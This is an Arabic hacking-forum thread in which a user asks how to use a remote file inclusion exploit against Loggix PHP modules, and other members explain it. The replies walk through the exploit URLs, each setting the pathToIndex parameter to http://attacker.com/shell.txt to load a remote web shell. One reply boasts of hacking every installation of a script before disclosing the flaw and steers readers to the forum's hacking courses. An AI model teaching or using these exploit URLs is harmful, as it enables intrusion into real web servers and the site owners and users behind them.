:: vBspiders Professional Network :: - طلب : توضيح الاستغلال

:: vBspiders Professional Network :: (http://www.vbspiders.com/vb/index.php)

- جـــ'ابات العناكــ'ب (http://www.vbspiders.com/vb/forumdisplay.php?f=343)

- - طلب : توضيح الاستغلال (http://www.vbspiders.com/vb/showthread.php?t=22509)

طلب : توضيح الاستغلال

السلام عليكم ورحمه الله

انا عندي طلب بسيط

انا حصلت ثغره ريموت فايل انكود

وجبت الاستغلال تبعها بس المشكله اني ما فهمت الاستغلال :cry[1]:

هاد هوو الاستغلال

http://target.com/[path]/lib/Loggix/Module/Calendar.php?pathToIndex

http://target.com/[path]/lib/Loggix/Module/Comment.php?pathToIndex

http://target.com/[path]/lib/Loggix/Module/Rss.php?pathToIndex

http://target.com/[path]/lib/Loggix/Module/Trackback.php?pathToIndex

http://target.com/[path]/modules/downloads/lib/LM_Downloads.php?pathToInde

طبعا هاد كم استغلال لها

ياريت الي عنده خبره يوضح ليي الستغلال

ضع رابط ثغرة

أظن أنه

[path]

هو رابط الشل

يعني جرب بدله برابط الشل

اقتباس:

المشاركة الأصلية كتبت بواسطة killer-32 (المشاركة 82042)

أظن أنه

[path]

هو رابط الشل

يعني جرب بدله برابط الشل

[path]

هذا يا غالي مجلد اللي ركب في سكربت متلا عناكب مسميه مجلد vb

http://www.milw0rm.com/exploits/9729

ها هو رابط الثغره

رح اشرح رابط واحد والباقي نفس الاشي والاصل تضع لنا رابط الثغره لحتى نقدر نوصل لك الفكره

http://target.com/[path]/modules/downloads/lib/LM_Downloads.php?pathToInde

الموقع الهدف =http://target.com/

المجلد الذي عليه السكربت =path

مثلا سكربت المنتدى مركب داخل مجلد اسمه vb
اذن
path = vb

جزء من الاستغلال
modules/downloads/lib/LM_Downloads.php?pathToInde

واما الباقي فهو الناقص وبما انك تقول انها فايل اكلود فلازم يكوون الباقي

?shell.txt=

طبعا بدك رابط شل بامتداد تكست

مممممممممممم بدون رابط الثغره شرحنا مش وافي

اوك هيني هسا شفت الرابط ثواني

اقتباس:

#Dork : No DoRk f0R ScRipT KiDDieS

يعني كلمه البحث في جوجل هي
لايوجد كلمه للبحث ............(اخترعها انت من الرابط )

اقتباس:

#file :
# Calendar.php
# Comment.php
# Rss.php
# Trackback.php
# LM_Downloads.php

هذه اسماء الملفات المصابه بالانكلوود

اقتباس:

#3xplo!t :
#http://target.com/[path]/lib/Loggix/Module/Calendar.php?pathToIndex=http://attacker.com/shell.txt???
#http://target.com/[path]/lib/Loggix/Module/Comment.php?pathToIndex=http://attacker.com/shell.txt???
#http://target.com/[path]/lib/Loggix/Module/Rss.php?pathToIndex=http://attacker.com/shell.txt???
#http://target.com/[path]/lib/Loggix/Module/Trackback.php?pathToIndex=http://attacker.com/shell.txt???
#http://target.com/[path]/modules/downloads/lib/LM_Downloads.php?pathToIndex=http://attacker.com/shell.txt???
################################################## ######################

يعني الاستغلال
ممممم خلينا نشرح استغلال واحد :)

اقتباس:

#http://target.com/[path]/lib/Loggix/Module/Rss.php?pathToIndex=http://attacker.com/shell.txt???

#http://target.com/ اسم الموقع الهدف (يلي عليه السكربت)
[path]/ ........... يعني اسم المجلد يلي عليه السكربت (اذا كان السكربت داخل مجلد)

اقتباس:

]/lib/Loggix/Module/Rss.php?pathToIndex=

مسار الملف المصاب على السكربت

اقتباس:

http://attacker.com/shell.txt???

رابط شل بامتداد txt

ما اعتقد صعب الانكلود بسيط جدا

---------------------------------------
نصيحه من ذهب

اتركك اخي من مواقع السكيورتي هذه لانو ما بفيها ثغرات الايكون يلي اكشف الثغره زهق منها

يعني مثلا انا بكتشف ثغره بخترق فيها كل السكربتات يلي ع النت وبعدها برميها لمواقع السكيورتي

وبتلقى صار المعظم عامل ترقيع للثغره

ادخل دورات المنتدى فهي دورات حقيقه للثغرات

وفيك تستفيد اكثر بمليون مره وتوصل لمستوى رائع

بالتوفيق

مشكور خيو على الشرح والنصيحه

لان فعلنا اغلب الثغرات مرقعه يعني نادر ما تحصل وحده ^_^

نصيحه من ذهب

اتركك اخي من مواقع السكيورتي هذه لانو ما بفيها ثغرات الايكون يلي اكشف الثغره زهق منها

يعني مثلا انا بكتشف ثغره بخترق فيها كل السكربتات يلي ع النت وبعدها برميها لمواقع السكيورتي

وبتلقى صار المعظم عامل ترقيع للثغره

ادخل دورات المنتدى فهي دورات حقيقه للثغرات

وفيك تستفيد اكثر بمليون مره وتوصل لمستوى رائع

بالتوفيق [/QUOTE]

نصيحتك عععسل يااااااااعسل انت :a14: